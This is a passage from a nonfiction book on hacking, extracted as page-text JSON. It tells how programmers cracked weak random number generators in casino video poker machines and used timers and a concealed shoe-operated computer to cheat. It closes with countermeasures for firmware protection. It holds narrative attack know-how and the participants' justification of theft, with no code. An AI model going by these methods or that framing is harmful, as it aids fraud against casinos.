easy.” \nOnce the code from the video poker machine had been run through\nthe new disassembler, the three programmers sat down to pour over it.\nOrdinarily it’s easy for an accomplished software engineer to quickly\nlocate the sections of a program he or she wants to focus on. That’s\nbecause a person writing code originally puts road signs all through it —\nnotes, comments, and remarks explaining the function of each section,\nsomething like the way a book may have part titles, chapter titles, and\nsubheadings for sections within a chapter.\nWhen a program is compiled into the form that the machine can read,\nthese road signs are ignored — the computer or microprocessor has no\nneed for them. So code that has been reverse-engineered lacks any of\nthese useful explanations; to keep with the “road signs” metaphor, this\nrecovered code is like a roadmap with no place names, no markings of\nhighways or streets.\nChapter 1\nHacking the Casinos for a Million Bucks\n5\n"
        },
        {
            "page_number": 27,
            "text": "They sifted through the pages of code on-screen looking for clues to\nthe basic questions: “What’s the logic? How are the cards shuffled? How\nare replacement cards picked?” But the main focus for the guys at this\njuncture was to locate the code for the random number generator\n(RNG). Alex’s guess that the Japanese programmers who wrote the code\nfor the machine might have taken shortcuts that left errors in the design\nof the random number generator turned out to be correct; they had.\nRewriting the Code\nAlex sounds proud in describing this effort. “We were programmers; we\nwere good at what we did. We figured out how numbers in the code turn\ninto cards on the machine and then wrote a piece of C code that would\ndo the same thing,” he said, referring to the programming language\ncalled “C.”\nWe were motivated and we did a lot of work around the clock. I’d\nsay it probably took about two or three weeks to get to the point\nwhere we really had a good grasp of exactly what was going on in\nthe code. \nYou look at it, you make some guesses, you write some new code,\nburn it onto the ROM [the computer chip], put it back in the\nmachine, and see what happens. We would do things like write\nroutines that would pop hex [hexadecimal] numbers on the screen\non top of the cards. So basically get a sort of a design overview of\nhow the code deals the cards.\nIt was a combination of trial and error and top-down analysis;\nthe code pretty quickly started to make sense. So we understood\neverything about exactly how the numbers inside the computer\nturn into cards on the screen.\nOur hope was that the random number generator would be rela-\ntively simple. And in this case in the early 90’s, it was. I did a lit-\ntle research and found out it was based on something that\nDonald Knuth had written about in the 60’s. These guys didn’t\ninvent any of this stuff; they just took existing research on Monte\nCarlo methods and things, and put it into their code. \nWe figured out exactly what algorithm they were using to gener-\nate the cards; it’s called a linear feedback shift register, and it was\na fairly good random number generator. \nBut they soon discovered the random number generator had a fatal flaw\nthat made their task much easier. Mike explained that “it was a relatively\nThe Art of Intrusion\n6\n"
        },
        {
            "page_number": 28,
            "text": "simple 32-bit RNG, so the computational complexity of cracking it was\nwithin reach, and with a few good optimizations became almost trivial.”\nSo the numbers produced were not truly random. But Alex thinks\nthere’s a good reason why this has to be so:\nIf it’s truly random, they can’t set the odds. They can’t verify\nwhat the odds really are. Some machines gave sequential royal\nflushes. They shouldn’t happen at all. So the designers want to be\nable to verify that they have the right statistics or they feel like they\ndon’t have control over the game.\nAnother thing the designers didn’t realize when they designed this\nmachine is that basically it’s not just that they need a random\nnumber generator. Statistically there’s ten cards in each deal —\nthe five that show initially, and one alternate card for each of\nthose five that will appear if the player chooses to discard. It turns\nout in these early versions of the machine, they basically took those\nten cards from ten sequential random numbers in the random\nnumber generator.\nSo Alex and his partners understood that the programming instructions\non this earlier-generation machine were poorly thought out. And because\nof these mistakes, they saw that they could write a relatively simple but\nelegantly clever algorithm to defeat the machine. \nThe trick, Alex saw, would be to start a play, see what cards showed up\non the machine, and feed data into their own computer back at home\nidentifying those cards. Their algorithm would calculate where the ran-\ndom generator was, and how many numbers it had to go through before\nit would be ready to display the sought-after hand, the royal flush. \nSo we’re at our test machine and we run our little program and\nit correctly tells us the upcoming sequence of cards. We were pretty\nexcited.\nAlex attributes that excitement to “knowing you’re smarter than some-\nbody and you can beat them. And that, in our case, it was gonna make\nus some money.” \nThey went shopping and found a Casio wristwatch with a countdown\nfeature that could be set to tenths of a second; they bought three, one\nfor each of the guys who would be going to the casinos; Larry would be\nstaying behind to man the computer. \nThey were ready to start testing their method. One of the team would\nbegin to play and would call out the hand he got — the denomination\nand suit of each of the five cards. Larry would enter the data into their\nChapter 1\nHacking the Casinos for a Million Bucks\n7\n"
        },
        {
            "page_number": 29,
            "text": "own computer; though something of an off-brand, it was a type popular\nwith nerds and computer buffs, and great for the purpose because it had\na much faster chip than the one in the Japanese video poker machine. It\ntook only moments to calculate the exact time to set into one of the\nCasio countdown timers.\nWhen the timer went off, the guy at the slot machine would hit the\nPlay button. But this had to be done accurately to within a fraction of a\nsecond. Not as much of a problem as it might seem, as Alex explained:\nTwo of us had spent some time as musicians. If you’re a musician\nand you have a reasonable sense of rhythm, you can hit a button\nwithin plus or minus five milliseconds. \nIf everything worked the way it was supposed to, the machine would\ndisplay the sought-after royal flush. They tried it on their own machine,\npracticing until all of them could hit the royal flush on a decent percent-\nage of their tries. \nOver the previous months, they had, in Mike’s words, “reverse engi-\nneering the operation of the machine, learned precisely how the random\nnumbers were turned into cards on the screen, precisely when and how\nfast the RNG iterated, all of the relevant idiosyncrasies of the machine,\nand developed a program to take all of these variables into consideration\nso that once we know the state of a particular machine at an exact instant\nin time, we could predict with high accuracy the exact iteration of the\nRNG at any time within the next few hours or even days.” \nThey had defeated the machine — turned it into their slave. They had\ntaken on a hacker’s intellectual challenge and had succeeded. The knowl-\nedge could make them rich. \nIt was fun to daydream about. Could they really bring it off in the jun-\ngle of a casino? \nBack to the Casinos — This Time to Play\nIt’s one thing to fiddle around on your own machine in a private, safe\nlocation. Trying to sit in the middle of a bustling casino and steal their\nmoney — that’s another story altogether. That takes nerves of steel.\nTheir ladies thought the trip was a lark. The guys encouraged tight\nskirts and flamboyant behavior — gambling, chatting, giggling, ordering\ndrinks — hoping the staff in the security booth manning the “Eye in the\nSky” cameras would be distracted by pretty faces and a show of flesh. “So\nwe pushed that as much as possible,” Alex remembers.\nThe Art of Intrusion\n8\n"
        },
        {
            "page_number": 30,
            "text": "The hope was that they could just fit in, blending with the crowd.\n“Mike was the best at it. He was sort of balding. He and his wife just\nlooked like typical players.”\nAlex describes the scene as if it had all happened yesterday. Marco and\nMike probably did it a little differently, but this is how it worked for Alex:\nWith his wife Annie, he would first scout a casino and pick out one video\npoker machine. He needed to know with great precision the exact cycle\ntime of the machine. One method they used involved stuffing a video\ncamera into a shoulder bag; at the casino, the player would position the\nbag so the camera lens was pointing at the screen of the video poker\nmachine, and then he would run the camera for a while. “It could be\ntricky,” he remembers, “trying to hoist the bag into exactly the right\nposition without looking like the position really mattered. You just don’t\nwant to do anything that looks suspicious and draws attention.” Mike\npreferred another, less demanding method: “Cycle timing for unknown\nmachines out in the field was calculated by reading cards off the screen\nat two times, many hours apart.” He had to verify that the machine had\nnot been played in between, because that would alter the rate of iteration,\nbut that was easy: just check to see that the cards displayed were the same\nas when he had last been at the machine, which was usually the case since\n“high stakes machines tended to not be played often.” \nWhen taking the second reading of cards displayed, he would also syn-\nchronize his Casio timer, and then phone the machine timing data and\ncard sequences back to Larry, who would enter it into their home-base\ncomputer and run the program. Based on those data, the computer\nwould predict the time of the next royal flush. “You hoped it was hours;\nsometimes it was days,” in which case they’d have to start all over with\nanother machine, maybe at a different hotel. At this stage, the timing of\nthe Casio might be off as much as a minute or so, but close enough.\nReturning plenty early in case someone was already at the target machine,\nAlex and Annie would go back to the casino and spend time on other\nmachines until the player left. Then Alex would sit down at the target\nmachine, with Annie at the machine next to him. They’d started playing,\nmaking a point of looking like they were having fun. Then, as Alex recalls:\nI’d start a play, carefully synchronized to my Casio timer. When\nthe hand came up, I’d memorize it — the value and suit of each\nof the five cards, and then keep playing until I had eight cards in\nsequence in memory. I’d nod to my wife that I was on my way\nand head for an inconspicuous pay phone just off the casino floor.\nI had about eight minutes to get to the phone, do what I had to\ndo, and get back to the machine. My wife kept on playing.\nChapter 1\nHacking the Casinos for a Million Bucks\n9\n"
        },
        {
            "page_number": 31,
            "text": "Anybody who came along to use my machine, she’d just tell them\nher husband was sitting there. \nWe had figured out a way of making a phone call to Larry’s beeper,\nand entering numbers on the telephone keypad to tell him the cards.\nThat was so we didn’t have to say the cards out loud — the casino\npeople are always listening for things like that. Larry would again\nenter the cards into the computer and run our program.\nThen I’d phone him. Larry would hold the handset up to the com-\nputer, which would give two sets of little cue tones. On the first\none, I’d hit the Pause button on the timer, to stop it counting\ndown. On the second one, I’d hit Pause again to restart the timer.\nThe cards Alex reported gave the computer an exact fix on where the\nmachine’s random number generator was. By entering the delay ordered\nby the computer, Alex was entering a crucial correction to the Casio\ncountdown timer so it would go off at exactly the moment that the royal\nflush was ready to appear.\nOnce that countdown timer was restarted, I went back to the\nmachine. When the timer went like “beep, beep, boom” — right then,\nright on that “boom,” I hit the play button on the machine again. \nThat first time, I think I won $35,000. \nWe got up to the point where we had about 30 or 40 percent suc-\ncess because it was pretty well worked out. The only times it didn’t\nwork was when you didn’t get the timing right.\nFor Alex, the first time he won was “pretty exciting, but scary. The pit boss\nwas this scowling Italian dude. I was sure he was looking at me funny, with\nthis puzzled expression on his face, maybe because I was going to the phone\nall the time. I think he may have gone up to look at the tapes.” Despite the\ntensions, there was “a thrill to it.” Mike remembers being “naturally nerv-\nous that someone might have noticed odd behavior on my part, but in fact\nno one looked at me funny at all. My wife and I were treated just as typical\nhigh-stakes winners — congratulated and offered many comps.”\nThey were so successful that they needed to worry about winning so much\nmoney that they would draw attention to themselves. They started to rec-\nognize that they faced the curious problem of too much success. “It was very\nhigh profile. We were winning huge jackpots in the tens of thousands of dol-\nlars. A royal flush pays 4,000 to 1; on a $5 machine, that’s twenty grand.”\nIt goes up from there. Some of the games are a type called progressive —\nthe jackpot keeps increasing until somebody hits, and the guys were able to\nwin those just as easily. \nThe Art of Intrusion\n10\n"
        },
        {
            "page_number": 32,
            "text": "I won one that was 45 grand. A big-belt techie guy came out —\nprobably the same guy that goes around and repairs the machines.\nHe has a special key that the floor guys don’t have. He opens up\nthe box, pulls out the [electronics] board, pulls out the ROM chip\nright there in front of you. He has a ROM reader with him that\nhe uses to test the chip from the machine against some golden mas-\nter that’s kept under lock and key. \nThe ROM test had been standard procedure for years, Alex learned. He\nassumes that they had “been burned that way” but eventually caught on\nto the scheme and put in the ROM-checking as a countermeasure.\nAlex’s statement left me wondering if the casinos do this check because\nof some guys I met in prison who did actually replace the firmware. I\nwondered how they could do that quickly enough to avoid being caught.\nAlex figured this was a social engineering approach, that they had com-\npromised the security and paid off somebody inside the casino. He con-\njectures that they might even have replaced the gold master that they’re\nsupposed to compare the machine’s chip against. \nThe beauty of his team’s hack, Alex insisted, was that they didn’t have\nto change the firmware. And they thought their own approach offered\nmuch more of a challenge.\nThe team couldn’t keep winning as big as they were; the guys figured\n“it was clear that somebody would put two and two together and say,\n‘I’ve seen this guy before.’ We started to get scared that we were gonna\nget caught.” \nBeside the ever-present worries about getting caught, they were also\nconcerned about the tax issue; for any win over $1,200, the casino asks\nfor identification and reports the payout to the IRS. Mike says that “If\nthe player doesn’t produce ID, we assumed that taxes would be withheld\nfrom the payout, but we didn’t want to draw attention to ourselves by\nfinding out.” Paying the taxes was “not a big issue,” but “it starts to cre-\nate a record that, like, you’re winning insane amounts of money. So a lot\nof the logistics were about, ‘How do we stay under the radar?’” \nThey needed to come up with a different approach. After a short time\nof “E.T. phone home,” they started to conceive a new idea.\nNew Approach\nThe guys had two goals this time around: Develop a method that would\nlet them win on hands like a full house, straight, or flush, so the payouts\nwouldn’t be humongous enough to attract attention. And make it some-\nhow less obvious and less annoying than having to run to the telephone\nbefore every play.\nChapter 1\nHacking the Casinos for a Million Bucks\n11\n"
        },
        {
            "page_number": 33,
            "text": "Because the casinos offered only a limited number of the Japanese\nmachines, the guys this time settled on a machine in wider use, a type\nmanufactured by an American company. They took it apart the same way\nand discovered that the random number generation process was much\nmore complex: The machine used two generators operating in combina-\ntion, instead of just one. “The programmers were much more aware of\nthe possibilities of hacking,” Alex concluded.\nBut once again the four discovered that the designers had made a cru-\ncial mistake. “They had apparently read a paper that said you improve the\nquality of randomness if you add a second register, but they did it\nwrong.” To determine any one card, a number from the first random\nnumber generator was being added to a number from the second. \nThe proper way to design this calls for the second generator to\niterate — that is, change its value — after each card is dealt. The design-\ners hadn’t done that; they had programmed the second register to iterate\nonly at the beginning of each hand, so that the same number was being\nadded to the result from the first register for each card of the deal. \nTo Alex, the use of two registers made the challenge “a cryptology\nthing”; he recognized that it was similar to a step sometimes used in\nencrypting messages. Though he had acquired some knowledge of the\nsubject, it wasn’t enough to see his way to a solution, so he started mak-\ning trips to a nearby university library to study up. \nIf the designers had read some of the books on cryptosystems more\ncarefully, they wouldn’t have made this mistake. Also, they should\nhave been more methodical about testing the systems for cracking\nthe way we were cracking them. \nAny good college computer science major could probably write\ncode to do what we were trying to do once he understands what’s\nrequired. The geekiest part of it was figuring out algorithms to do\nthe search quickly so that it would only take a few seconds to tell\nyou what’s going on; if you did it naively, it could take a few\nhours to give you a solution. \nWe’re pretty good programmers, we all still make our living\ndoing that, so we came up with some very clever optimizations.\nBut I wouldn’t say it was trivial. \nI remember a similar mistake made by a programmer at Norton (before\nSymantec bought them) that worked on their Diskreet product, an appli-\ncation that allowed a user to create encrypted virtual drives. The developer\nimplemented the algorithm incorrectly — or perhaps intentionally — in a\nway that resulted in reducing the space for the encryption key from 56\nThe Art of Intrusion\n12\n"
        },
        {
            "page_number": 34,
            "text": "bits to 30. The federal government’s data encryption standard used a \n56-bit key, which was considered unbreakable, and Norton gave its cus-\ntomers the sense that their data was protected to this standard. Because\nof the programmer’s error, the user’s data was in effect being encrypted\nwith only 30 bits instead of 56. Even in those days, it was possible to\nbrute-force a 30-bit key. Any person using this product labored under a\nfalse sense of security: An attacker could derive his or her key in a rea-\nsonable period and gain access to the user’s data. The team had discov-\nered the same kind of error in the programming of the machine.\nAt the same time the boys were working on a computer program that\nwould let them win against their new target machine, they were pressing\nAlex for a no-more-running-to-the-payphone approach. The answer\nturned out to be based on taking a page from the Eudaemonic Pie solu-\ntion: a “wearable” computer. Alex devised a system made up of a minia-\nturized computer built around a small microprocessor board Mike and\nMarco found in a catalog — and, to go along with it, a control button\nthat fit in the shoe, plus a silent vibrator like the ones common in many\nof today’s cell phones. They referred to the system as their “computer-\nin-the-pocket thing.” \n“We had to be a little clever about doing it on a small chip with a small\nmemory,” Alex said. “We did some nice hardware to make it all fit in the\nshoe and be ergonomic.” (By “ergonomic” in this context, I think he\nmeant small enough so you could walk without limping!)\nThe New Attack\nThe team began trying out the new scheme, and it was a bit nerve-\nwracking. Sure, they could now dispense with the suspicious behavior of\nrunning to a pay phone before every win. But even with all the dress\nrehearsal practice back at their “office,” opening night meant performing\nin front of a sizeable audience of always-suspicious security people. \nThis time the program was designed so they could sit at one machine\nlonger, winning a series of smaller, less suspicious amounts. Alex and\nMike recapture some of tension when they describe how it worked:\nAlex: I usually put the computer in what looked like a little tran-\nsistor radio in my pocket. We would run a wire from the computer\ndown inside the sock into this switch in the shoe. \nMike: I strapped mine to my ankle. We made the switches from\nlittle pieces of breadboard [material used in a hardware lab for\nconstructing mock-ups of electronic circuits]. The pieces were\nabout one inch square, with a miniature button. And we sewed\non a little bit of elastic to go around the big toe. Then you’d cut a\nChapter 1\nHacking the Casinos for a Million Bucks\n13\n"
        },
        {
            "page_number": 35,
            "text": "hole in a Dr. Scholl’s insole to keep it in place in your shoe. It was\nonly uncomfortable if you were using it all day; then it could get\nexcruciating. \nAlex: So you go into the casino, you try to look calm, act like\nthere’s nothing, no wires in your pants. You go up, you start play-\ning. We had a code, a kind of Morse Code thingy. You put in\nmoney to run up a credit so you don’t have to keep feeding coins,\nand then start to play. When cards come up, you click the shoe\nbutton to input what cards are showing. \nThe signal from the shoe button goes into the computer that’s in\nmy pants pocket. Usually in the early machines it took seven or\neight cards to get into sync. You get five cards on the deal, you\nmight draw three more would be a very common thing, like hold\nthe pair, draw the other three, that’s eight cards. \nMike: The code for tapping on the shoe-button was binary, and it\nalso used a compression technique something like what’s called a\nHuffman code. So long-short would be one-zero, a binary two.\nLong-long would be one-one, a binary three, and so on. No card\nrequired more than three taps. \nAlex: If you held the button down for three seconds, that was a\ncancel. And [the computer] would give you little prompts — like\ndup-dup-dup would mean, “Okay, I’m ready for input.” We had\npracticed this — you had to concentrate and learn how to do it.\nAfter a while we could tap, tap while carrying on a conversation\nwith a casino attendant.\nOnce I had tapped in the code to identify about eight cards, that\nwould be enough for me to sync with about 99 percent assurance.\nSo after anywhere from a few seconds to a minute or so, the com-\nputer would buzz three times.\nI’d be ready for the action.\nAt this point, the computer-in-the-pocket had found the place in the\nalgorithm that represented the cards just dealt. Since its algorithm was\nthe same as the one in the video poker machine, for each new hand dealt,\nthe computer would “know” what five additional cards were in waiting\nonce the player selected his discards and would signal which cards to hold\nto get a winning hand. Alex continued:\nThe computer tells you what to do by sending signals to a vibra-\ntor in your pocket; we got the vibrators free by pulling them out of\nold pagers. If the computer wants you to hold the third and the\nThe Art of Intrusion\n14\n"
        },
        {
            "page_number": 36,
            "text": "fifth card, it will go beep, beep, beeeeep, beep, beeeeep, which you\nfeel as vibrations in your pocket. \nWe computed that if we played carefully, we had between 20 and\n40 percent vigorish, meaning a 40 percent advantage on every\nhand. That’s humongous — the best blackjack players in the\nworld come in at about 2-1/2 percent.\nIf you’re sitting at a $5 machine pumping in five coins at a time,\ntwice a minute, you can be making $25 a minute. In half an\nhour, you could easily make $1,000 bucks. People sit down and get\nlucky like that every day. Maybe 5 percent of the people that sit\ndown and play for half an hour might do that well. But they don’t\ndo it every time. We were making that 5 percent every single time. \nWhenever one of them had won big in one casino, he’d move on to\nanother. Each guy would typically hit four or five in a row. When they\nwent back to the same casino on another trip a month later, they’d make\na point of going at a different time of day, to hit a different shift of the\nwork crew, people less likely to recognize them. They also began hitting\ncasinos in other cities — Reno, Atlantic City, and elsewhere.\nThe trips, the play, the winning gradually became routine. But on one\noccasion, Mike thought the moment they all dreaded had come. He had\njust “gone up a notch” and was playing the $25 machines for the first\ntime, which added to the tension because the higher the value of the\nmachines, the closer they’re watched.\nI was a bit anxious but things were going better than I antici-\npated. I won about $5,000 in a relatively short amount of time.\nThen this large, imposing employee taps me on the shoulder. I\nlooked up at him feeling something queasy in the pit of my stom-\nach. I thought, “This is it.”\n“I notice you been playing quite a bit,” he said. “Would you like\npink or green?”\nIf it had been me, I would have been wondering, “What are those —\nmy choices of the color I’ll be after they finish beating me to a pulp?” I\nthink I might have left all my money and tried to dash out of the place.\nMike says he was seasoned enough by that point to remain calm.\nThe man said, “We want to give you a complimentary coffee mug.” \nMike chose the green. \nChapter 1\nHacking the Casinos for a Million Bucks\n15\n"
        },
        {
            "page_number": 37,
            "text": "Marco had his own tense moment. He was waiting for a winning hand\nwhen a pit boss he hadn’t noticed stepped up to his shoulder. “You dou-\nbled up to five thousand dollars — that’s some luck,” he said, surprised.\nAn old woman at the next machine piped up in a smoker’s raspy sandpa-\nper voice, “It ... wasn’t ... luck.” The pit boss stiffened, his suspicions\naroused. “It was balls,” she cawed. The pit boss smiled and walked away.\nOver a period of about three years, the guys alternated between taking\nlegitimate consulting jobs to keep up their skills and contacts, and skip-\nping out now and then to line their pockets at the video poker machines.\nThey also bought two additional machines, including the most widely\nused video poker model, and continued to update their software.\nOn their trips, the three team members who traveled would head out\nto different casinos, “not all go as a pack,” Alex said. “We did that once\nor twice, but it was stupid.” Though they had an agreement to let each\nother know what they were up to, occasionally one would slip away to\none of the gambling cities without telling the others. But they confined\ntheir play to casinos, never playing in places like 7-Elevens or supermar-\nkets because “they tend to have very low payouts.”\nCaught!\nAlex and Mike both tried to be disciplined about adhering to “certain\nrules that we knew were going to reduce the probability of getting\nnoticed. One of them was to never hit a place for too much money, never\nhit it for too much time, never hit it too many days in a row.”\nBut Mike took the sense of discipline even more seriously and felt the\nother two weren’t being careful enough. He accepted winning a little less\nper hour but looking more like another typical player. If he got two aces\non the deal and the computer told him to discard one or both of the aces\nfor an even better hand — say, three jacks — he wouldn’t do it. All casi-\nnos maintain “Eye in the Sky” watchers in a security booth above the\ncasino floor, manning an array of security cameras that can be turned,\nfocused and zoomed, searching for cheaters, crooked employees, and\nothers bent by the temptation of all that money. If one of the watchers\nhappened to be peeking at his or her machine for some reason, the\nwatcher would immediately know something was fishy, since no reason-\nable player would give up a pair of aces. Nobody who wasn’t cheating\nsomehow could know a better hand was waiting.\nAlex wasn’t quite so fastidious. Marco was even less so. “Marco was a\nbit cocky,” in Alex’s opinion: \nHe’s a very smart guy, self taught, never finished high school, but one\nof these brilliant Eastern European type of guys. And flamboyant.\nThe Art of Intrusion\n16\n"
        },
        {
            "page_number": 38,
            "text": "He knew everything about computers but he had it in his head\nthat the casinos were stupid. It was easy to think that because these\npeople were letting us get away with so much. But even so, I think\nhe got over-confident.\nHe was more of a daredevil, and also didn’t fit the profile because\nhe just looked like this teenage foreigner. So I think he tended to\narouse suspicion. And he didn’t go with a girlfriend or wife,\nwhich would have helped him fit in better.\nI think he just ended up doing things that brought attention onto\nhim. But also, as time went on and we all got bolder, we evolved\nand tended to go to the more expensive machines that paid off bet-\nter and that again put more risks into the operation.\nThough Mike disagrees, Alex seemed to be suggesting that they were\nall three risk takers who would keep pushing the edge of the window to\nsee how far they could go. As he put it, “I think basically you just keep\nupping the risk.”\nThe day came when one minute Marco was sitting at a machine in a\ncasino, the next minute he was surrounded by burly security people who\npulled him up and pushed him into an interviewing room in the back.\nAlex recounted the scene:\nIt was scary because you hear stories about these guys that will\nbeat the shit out of people. These guys are famous for, “F__k the\npolice, we’re gonna take care of this ourself.”\nMarco was stressed but he was a very tough character. In fact, in\nsome ways I’m glad that he was the one that did get caught if any\nof us were going to because I think he was the most equipped to\nhandle that situation. For all I know he had handled things like\nback in Eastern Europe. \nHe exhibited some loyalty and did not give us up. He didn’t talk\nabout any partners or anything like that. He was nervous and\nupset but he was tough under fire and basically said he was work-\ning alone. \nHe said, “Look, am I under arrest, are you guys police, what’s the\ndeal?” \nIt’s a law enforcement type of interrogation except that they’re\nnot police and don’t have any real authority, which is kind of\nweird. They kept on questioning him, but they didn’t exactly\nmanhandle him.\nChapter 1\nHacking the Casinos for a Million Bucks\n17\n"
        },
        {
            "page_number": 39,
            "text": "They took his “mug shot,” Alex says, and they confiscated the com-\nputer and all the money he had on him, about $7,000 in cash. After per-\nhaps an hour of questioning, or maybe a lot longer — he was too upset\nto be sure — they finally let him go. \nMarco called his partners en route home. He sounded frantic. He said,\n“I want to tell you guys what happened. I sort of screwed up.”\nMike headed straight for their headquarters. “Alex and I were freaked\nwhen we heard what happened. I started tearing the machines apart and\ndumping pieces all over the city.” \nAlex and Mike were both unhappy with Marco for one of the unneces-\nsary risks he ran. He wouldn’t put the button in his shoe like the other\ntwo, stubbornly insisting on carrying the device in his jacket pocket and\ntriggering it with his hand. Alex described Marco as a guy who “thought\nthe security people were so dumb that he could keep pushing the enve-\nlope with how much he was doing right under their noses.”\nAlex is convinced he knows what happened, even though he wasn’t\npresent. (In fact, the other three didn’t know Marco had gone on a\ncasino trip despite the agreement to clue each other in on their plans.)\nThe way Alex figures, “They just saw that he was winning a ridiculous\namount and that there was something going on with his hand.” Marco\nsimply wasn’t bothering to think about what could cause the floor peo-\nple to notice him and wonder.\nThat was the end of it for Alex, though he’s not entirely sure about the\nothers. “Our decision at the beginning was that if any of us was ever\ncaught, we would all stop.” He said, “We all adhered to that as far as I\nknow.” And after a moment, he added with less certainty, “At least I\ndid.” Mike concurs, but neither of them has ever asked Marco the ques-\ntion directly.\nThe casinos don’t generally prosecute attacks like the one that the guys\nhad pulled. “The reason is they don’t want to publicize that they have\nthese vulnerabilities,” Alex explains. So it’s usually, “Get out of town\nbefore sundown. And if you agree never to set foot in a casino again, then\nwe’ll let you go.”\nAftermath\nAbout six months later, Marco received a letter saying that charges\nagainst him were not being pressed.\nThe four are still friends, though they aren’t as close these days. Alex\nfigures he made $300,000 from the adventure, part of which went to\nLarry as they had agreed. The three casino-going partners, who took all\nThe Art of Intrusion\n18\n"
        },
        {
            "page_number": 40,
            "text": "the risk, had initially said they would split equally with each other, but\nAlex thinks Mike and Marco probably took $400,000 to half a million\neach. Mike wouldn’t acknowledge walking away with any more than\n$300,000 but admits that Alex probably got less than he did. \nThey had had a run of about three years. Despite the money, Alex was\nglad it was over: “In a sense, I was relieved. The fun had worn off. It had\nbecome sort of a job. A risky job.” Mike, too, wasn’t sorry to see it end,\nlightly complaining that “it got kind of grueling.” \nBoth of them had been reluctant at first about telling their story but\nthen took to the task with relish. And why not — in the 10 or so years\nsince it happened, none of the four has ever before shared even a whis-\nper of the events with anyone except the wives and the girlfriend who\nwere part of it. Telling it for the first time, protected by the agreement of\nabsolute anonymity, seemed to come as a relief. They obviously enjoyed\nreliving the details, with Mike admitting that it had been “one of the\nmost exciting things I’ve ever done.”\nAlex probably speaks for them all when he expresses his attitude toward\ntheir escapade:\nI don’t feel that bad about the money we won. It’s a drop in the\nbucket for that industry. I have to be honest: we never felt morally\ncompromised, because these are the casinos. \nIt was easy to rationalize. We were stealing from the casinos that\nsteal from old ladies by offering games they can’t win. Vegas felt\nlike people plugged into money-sucking machines, dripping their\nlife away quarter by quarter. So we felt like we were getting back\nat Big Brother, not ripping off some poor old lady’s jackpot.\nThey put a game out there that says, “If you pick the right cards,\nyou win.” We picked the right cards. They just didn’t expect any-\nbody to be able to do it.\nHe wouldn’t try something like this again today, Alex says. But his rea-\nson may not be what you expect: “I have other ways of making money.\nIf I were financially in the same position I was in then, I probably would\ntry it again.” He sees what they did as quite justified.\nIn this cat-and-mouse game, the cat continually learns the mouse’s new\ntricks and takes appropriate measures. The slot machines these days use\nsoftware of much better design; the guys aren’t sure they would be suc-\ncessful if they did try to take another crack at it. \nStill, there will never be a perfect solution to any techno-security issue.\nAlex puts the issue very well: “Every time some [developer] says,\nChapter 1\nHacking the Casinos for a Million Bucks\n19\n"
        },
        {
            "page_number": 41,
            "text": "‘Nobody will go to the trouble of doing that,’ there’s some kid in Finland\nwho will go to the trouble.”\nAnd not just in Finland but in America, as well.\nINSIGHT\nIn the 1990s, the casinos and the designers of gambling machines hadn’t\nyet figured out some things that later became obvious. A pseudo random\nnumber generator doesn’t actually generate random numbers. Instead, it\nin effect warehouses a list of numbers in a random order. In this case, a\nvery long list: 2 to the 32nd power, or over four billion numbers. At the\nstart of a cycle, the software randomly selects a place in the list. But after\nthat, until it starts a new cycle of play, it uses the ensuing numbers from\nthe list one after the other.\nBy reverse-engineering the software, the guys had obtained the list.\nFrom any known point in the “random” list, they could determine every\nsubsequent number in the list, and with the additional knowledge about\nthe iteration rate of a particular machine, they could determine how long\nin minutes and seconds before the machine would display a royal flush.\nCOUNTERMEASURES\nManufacturers of every product that uses ROM chips and software\nshould anticipate security problems. And for every company that uses\nsoftware and computer-based products — which these days means pretty\nnearly every company down to one-person shops — it’s dangerous to\nassume that the people who build your systems have thought about all\nthe vulnerabilities. The programmers of the software in the Japanese slot\nmachine had made a mistake in not thinking far enough ahead about\nwhat kinds of attacks might be made. They hadn’t taken any security\nmeasures to protect people from getting at the firmware. They should\nhave foreseen somebody gaining access to a machine, removing the\nROM chip, reading the firmware, and recovering the program instruc-\ntions that tell the machine how to work. Even if they considered that pos-\nsibility, they probably assumed that knowing precisely how the machine\nworked wouldn’t be enough, figuring that the computational complexity\nof cracking the random number generator would defeat any attempt —\nwhich may well be true today but was not at the time.\nSo your company markets hardware products that contain computer\nchips; what should you be doing to provide adequate protection against\nThe Art of Intrusion\n20\n"
        },
        {
            "page_number": 42,
            "text": "the competitor who wants a look at your software, the foreign company\nthat wants to do a cheap knockoff, or the hacker who wants to cheat you? \nThe first step: Make it difficult to gain access to the firmware. Several\napproaches are available, including:\n●\nPurchase chips of a type designed to be secure against attack.\nSeveral companies market chips specifically designed for situ-\nations where the possibility of attack is high. \n●\nUse chip on-board packaging — a design in which the chip is\nembedded into the circuit board and cannot be removed as a\nseparate element.\n●\nSeal the chip to the board with epoxy, so that if an attempt is\nmade to remove it, the chip will break. An improvement on\nthis technique calls for putting aluminum powder in the\nepoxy; if an attacker attempts to remove the chip by heating\nthe epoxy, the aluminum destroys the chip. \n●\nUse a ball grid array (BGA) design. In this arrangement, the\nconnectors do not come out from the sides of the chip but\ninstead are beneath the chip, making it difficult if not impos-\nsible to capture signal flow from the chip while it is in place\non the board.\nAnother available countermeasure calls for scratching any identifying\ninformation off the chip, so an attacker will be deprived of information\nabout the manufacturer and type of chip.\nA fairly common practice, one used by the machine manufacturers in\nthis story, calls for the use of checksumming (hashing) — including a\nchecksum routine in the software. If the program has been altered, the\nchecksum will not be correct and the software will not operate the device.\nHowever, knowledgeable hackers familiar with this approach simply\ncheck the software to see whether a checksum routine has been included,\nand if they find one, disable it. So one or more of the methods that pro-\ntect the chip physically is a much better plan. \nTHE BOTTOM LINE\nIf your firmware is proprietary and valuable, consult the best security\nsources to find out what techniques hackers are currently using. Keep\nyour designers and programmers up-to-date with the latest information.\nAnd be sure they are taking all appropriate steps to achieve the highest\nlevel of security commensurate with cost.\nChapter 1\nHacking the Casinos for a Million Bucks\n21\n"
        },
        {
            "page_number": 43,
            "text": ""
        },
        {
            "page_number": 44,
